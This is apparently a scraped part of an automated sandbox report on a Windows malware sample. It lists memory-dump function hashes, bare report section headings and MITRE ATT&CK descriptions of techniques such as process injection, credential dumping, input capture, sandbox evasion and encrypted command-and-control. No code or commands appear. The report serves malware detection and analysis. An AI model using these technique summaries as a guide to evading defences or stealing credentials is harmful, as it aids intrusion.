Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87151a1e3f08627ac3c15dc9199bbc681a80a1397c3d4c466389a1adc9653338
Instruction ID: 9724aa2b4bb8200cb6a113ce9d2e53e1aeb14056842ed49a4396a43bacfcf4aa
Opcode Fuzzy Hash: 87151a1e3f08627ac3c15dc9199bbc681a80a1397c3d4c466389a1adc9653338
Instruction Fuzzy Hash: 4D11A235B142049BCB04EBA8E445BAD77B5EF98204F4585BEE545DB344DF31EC42CB84

Uniqueness

Uniqueness Score: -1.00%

Function 05DE9748, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e2bd1b1a8420582c392f54a011c6aecadc0c73abad4caba55dc28f0790de0ba
Instruction ID: f13b6aae6d56f14cb0d8c1e0c90133021a509ae6fdfaa32e12f30d0da9676589
Opcode Fuzzy Hash: 8e2bd1b1a8420582c392f54a011c6aecadc0c73abad4caba55dc28f0790de0ba
Instruction Fuzzy Hash: F5219D312047469FCB09EF69D444CDE7BAAFF893547008D68E49A8B621DB32ED16CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012AD20F, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.579047757.00000000012AD000.00000040.00000001.sdmp, Offset: 012AD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92dadbccdd2b34930ebb02e8664351f417ab24693b4d42d479e43b51327d65e1
Instruction ID: 41b44e633a6d0a97e37e84af2c1badd94e75ec7b0dd326cd58731fcd663c8108
Opcode Fuzzy Hash: 92dadbccdd2b34930ebb02e8664351f417ab24693b4d42d479e43b51327d65e1
Instruction Fuzzy Hash: B421B476404284DFCB16CF54D9C4B16BF71FB88324F24C5AAD9040B657C33AD466CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012AD4D7, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.579047757.00000000012AD000.00000040.00000001.sdmp, Offset: 012AD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89cab565afb9096415ec76201e3a3567f3b82aa6e5430c9b10a616fa3bee2fd6
Instruction ID: 72e2cec2ea79050c4a03eac88bdc0f5504edf64f09d30883291e8bcec93c1ae0
Opcode Fuzzy Hash: 89cab565afb9096415ec76201e3a3567f3b82aa6e5430c9b10a616fa3bee2fd6
Instruction Fuzzy Hash: D711D376404284CFCB06CF54D5C4B1ABF72FB88324F28C6A9D9450B656C33AD55ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DE9758, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91980a0479a9248feb19a328392942f76f6f6d01e06b04083844fd44985da124
Instruction ID: f55487c7a1df0e2a66024eba16e1bdbf4a0b89a63603aabd1ed46bf433e28a0b
Opcode Fuzzy Hash: 91980a0479a9248feb19a328392942f76f6f6d01e06b04083844fd44985da124
Instruction Fuzzy Hash: CB1179302007069FCB09DF69D484CDE7BAAFF893547008D28E49A8B620DB32AD15CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DE6498, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d4786e83bd1899ce9250b5dfe12f55e03b8a49dcdf8b0d71738ee5fc6e0921
Instruction ID: 7f5d947e28b05879051b7919e5c58591ffcc976d2b9da8bcc9e26aca90484d54
Opcode Fuzzy Hash: a6d4786e83bd1899ce9250b5dfe12f55e03b8a49dcdf8b0d71738ee5fc6e0921
Instruction Fuzzy Hash: 07014C72B0834457DF14EBB4B8609FEB296FB91158B548DBED406DB748EF30E8028784

Uniqueness

Uniqueness Score: -1.00%

Function 05DE87D0, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 777fccc59963cba1f827da06557714ca293c08c3139f4d4fbed0dc65665fc3e7
Instruction ID: b46bf8919c8a1db4a04e9bd274a98f0115bba3663d434da36df46dcb1156bf6f
Opcode Fuzzy Hash: 777fccc59963cba1f827da06557714ca293c08c3139f4d4fbed0dc65665fc3e7
Instruction Fuzzy Hash: 9A016D317007055B8758AA6AA894A6EBEE7FBD9250744443AE905C3340DF71A8059B99

Uniqueness

Uniqueness Score: -1.00%

Function 05DE87C1, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64947aaac6be528f8e5bb37dc5841fd13a7f97ac4850a3bb348e85e07c8f5d67
Instruction ID: 621e2c70116ba2edfc8948f9303f89b9c1be2ac111647985f8a9de91bc6e175d
Opcode Fuzzy Hash: 64947aaac6be528f8e5bb37dc5841fd13a7f97ac4850a3bb348e85e07c8f5d67
Instruction Fuzzy Hash: 18F0CD317007459FC715DBB9A894BBEBFE2FF89250B04413AE945C3200DB75A911A798

Uniqueness

Uniqueness Score: -1.00%

Function 05DE7130, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dfae65e63201da1f930986a7b92a131ca04b1cb9d259088d53b73dc676d1326
Instruction ID: 652ce924436fa14b48727dee567c83c5f82c938c8a8b447454c2c57868dae495
Opcode Fuzzy Hash: 5dfae65e63201da1f930986a7b92a131ca04b1cb9d259088d53b73dc676d1326
Instruction Fuzzy Hash: B5F0A79179F3D49FD74657BC3C290692FB6D99709534904DBD081CB2A2D908894BD361

Uniqueness

Uniqueness Score: -1.00%

Function 05DE67B7, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fccd916e1f135921d97bf98e827b31be1648620fd328fd209fbf7dc0e7b7772
Instruction ID: a000e008342993416f9b568848b8c347f643a2359ad82f2bfd80203218971893
Opcode Fuzzy Hash: 9fccd916e1f135921d97bf98e827b31be1648620fd328fd209fbf7dc0e7b7772
Instruction Fuzzy Hash: 43F02736F101148FCB0466ACA8481FE7BF6FFD1351F440A2AD609A7340EF3459198792

Uniqueness

Uniqueness Score: -1.00%

Function 05DE67C8, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 244798c4f958c5ebef29a0ee276db179743b29c5c70d017acd76a0b3d1cb0921
Instruction ID: bdfacf9423da23adc02ee4ddb067e03fb40b07627ffff9512beb7e485e67a6b6
Opcode Fuzzy Hash: 244798c4f958c5ebef29a0ee276db179743b29c5c70d017acd76a0b3d1cb0921
Instruction Fuzzy Hash: EEE09B35B102199F8B0476BCA8444FE7BB9FFC5251B400529EA05A7344EF30591997D2

Uniqueness

Uniqueness Score: -1.00%

Function 05DE6452, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 327b4ae49e7b90bcb528e4194aee705faae47dcfd5b037edbfef255ff9202f2c
Instruction ID: 7c2c752cba6876678794bb53b71010d26cf218d4f52bf9de1edf54919d61a3ac
Opcode Fuzzy Hash: 327b4ae49e7b90bcb528e4194aee705faae47dcfd5b037edbfef255ff9202f2c
Instruction Fuzzy Hash: CAE01A74E00208AFCB44DFA8D45568DFBF8EF88300F14C0AAD848E3350EA349A418F41

Uniqueness

Uniqueness Score: -1.00%

Function 05DE6570, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2cf90f643161e27a3a4005ee488452b884c623db1ff4d820125076f7636f701
Instruction ID: ebe045a435e1f46880932298be9ba241ca55aea17ab9123df5f12664d2d47e25
Opcode Fuzzy Hash: b2cf90f643161e27a3a4005ee488452b884c623db1ff4d820125076f7636f701
Instruction Fuzzy Hash: A4E01A74D0420CAF8B44EFA8E44449DBBB5EB48304B0085BED859A7350DF312A048F85

Uniqueness

Uniqueness Score: -1.00%

Function 05DE6460, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 019ab627878a6cac1fdfc6f05557350c2334a7cbbd8c08d53e6668c4b64ba676
Instruction ID: 44efba2e33e43e7fb02d7f593676688d679769b68f532a982ad9a99c436bafca
Opcode Fuzzy Hash: 019ab627878a6cac1fdfc6f05557350c2334a7cbbd8c08d53e6668c4b64ba676
Instruction Fuzzy Hash: F8E0B674E04208AFCB44DFA9D44549DFFF9EF48300F00C0AE9808E3340EA349A008F80

Uniqueness

Uniqueness Score: -1.00%

Function 05DE56C1, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e291c901668c8d04cdd9fd092d1f382b64bdc09a0fc1fbae51ad9e559ae8894e
Instruction ID: d1acc9c4ca7aca9fff896d9c17f188d9707f4617eae6d7e775b4d2c1b2587601
Opcode Fuzzy Hash: e291c901668c8d04cdd9fd092d1f382b64bdc09a0fc1fbae51ad9e559ae8894e
Instruction Fuzzy Hash: 54E01236008685CFC301DF74E595D94BF70BF16305705829AD1599B461DB34E569CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05DE56F1, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 192a9b9f542dacee3096cbd27a34798324912d83d910295aeafbeb577628d8e1
Instruction ID: ed367101c067e9eb3adcc321407a3b873b11e3464edbb3f6ee410e6a3afc3587
Opcode Fuzzy Hash: 192a9b9f542dacee3096cbd27a34798324912d83d910295aeafbeb577628d8e1
Instruction Fuzzy Hash: 3CE012324197898FC701BB78E8554A4BF74BE26200705819AD1459B153EA20A595C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 05DE64A8, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52cecd19f3ccd7c062d2a4f5594edb18eb455c5727fac7c169a859c6cc1be31b
Instruction ID: 9e36ab4bf5fd4117093c48fdad848bd9aecff206bb462d131579adfc27cbc475
Opcode Fuzzy Hash: 52cecd19f3ccd7c062d2a4f5594edb18eb455c5727fac7c169a859c6cc1be31b
Instruction Fuzzy Hash: E8C08C31D0420CAB0B00DFE298204AEB3EDCB42104B408AA9C949A7300EE326E0006EA

Uniqueness

Uniqueness Score: -1.00%

Function 05DE5700, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a637eabb78a7c68424f4f9acb2b3e16c9aa023de7b727fc8dde6004b59c300
Instruction ID: aed73180d4db72daf51424b0d7761dbe0736fada74ef1b72bd5d6430226ac9d6
Opcode Fuzzy Hash: 71a637eabb78a7c68424f4f9acb2b3e16c9aa023de7b727fc8dde6004b59c300
Instruction Fuzzy Hash: F2C0123141060CCFC740BA68E4044987B78BB15301B004119E54516100EB30A195C791

Uniqueness

Uniqueness Score: -1.00%

Function 05DE56D0, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcd4a7b3cd8486a9ea549e6c3a2f8ba7e7b12b0f7486fbca36684f3219e92b61
Instruction ID: 2ed007938d767955be0d5a59356d73eaea0774e30ba245ae3d38bcb1aa19b12a
Opcode Fuzzy Hash: dcd4a7b3cd8486a9ea549e6c3a2f8ba7e7b12b0f7486fbca36684f3219e92b61
Instruction Fuzzy Hash: 58C01231410A0CCFC700BAA8E408898BBB8BB29201B40526AE54A2A110EB30A5A9CB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report QMn13jz6nj.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre